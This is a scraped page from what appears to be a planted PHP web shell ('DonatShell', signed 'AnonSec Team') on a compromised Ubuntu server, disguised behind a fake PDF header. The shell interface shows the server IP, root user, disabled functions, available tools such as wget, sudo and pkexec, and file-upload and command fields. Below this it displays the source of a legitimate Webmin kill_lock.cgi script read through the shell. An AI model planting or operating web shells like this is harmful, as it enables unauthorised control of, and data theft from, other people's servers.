%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/webmin/kill_lock.cgi
#!/usr/bin/perl
# Kill selected webmin processes that hold locks

require './webmin-lib.pl';
&error_setup($text{'kill_err'});
&ReadParse();

my @d = split(/\0/, $in{'d'});
@d || &error($text{'kill_enone'});

&ui_print_unbuffered_header(undef, $text{'kill_title'}, "");

my @locks = &list_active_locks();
my $sig = $in{'kill'} ? 'KILL' : 'TERM';
my %killed;
foreach my $pn (@d) {
	my ($pid, $n) = split(/\-/, $pn);
	print &text($in{'kill'} ? 'kill_pid' : 'term_pid', $pid),"<br>\n";
	my ($p) = grep { $_->{'pid'} == $pid } @locks;
	if (!$p) {
		print $text{'kill_gone'},"<p>\n";
		next;
		}
	my ($l) = grep { $_->{'num'} == $n } @{$p->{'locks'}};
	if (!$l) {
		print $text{'kill_gone2'},"<p>\n";
		next;
		}
	if ($killed{$pid}) {
		print &text('kill_already',
			"<tt>".&html_escape($lockfile)."</tt>"),"<p>\n";
		&unlink_file($lockfile);
		next;
		}
	my $done = kill($sig, $pid);
	my $lockfile = $l->{'lock'}.".lock";
	if ($done) {
		# Signal was sent, but did it really work?
		my $dead = 0;
		for(my $i=0; $i<5; $i++) {
			if (!kill(0, $pid)) {
				$dead = 1;
				last;
				}
			sleep(1);
			}
		my $args = $p->{'proc'}->{'args'};
		if ($dead) {
			print &text('kill_dead',
				"<tt>".&html_escape($args)."</tt>",
				"<tt>".&html_escape($lockfile)."</tt>"),"<p>\n";
			&unlink_file($lockfile);
			$killed{$pid}++;
			}
		else {
			print &text('kill_alive',
				"<tt>".&html_escape($args)."</tt>"),"<p>\n";
			}
		}
	else {
		print &text('kill_failed', $!,
			"<tt>".&html_escape($lockfile)."</tt>"),"<p>\n";
		&unlink_file($lockfile);
		}
	}

&ui_print_footer("edit_lock.cgi", $text{'lock_return'});

Anon7 - 2022
AnonSec Team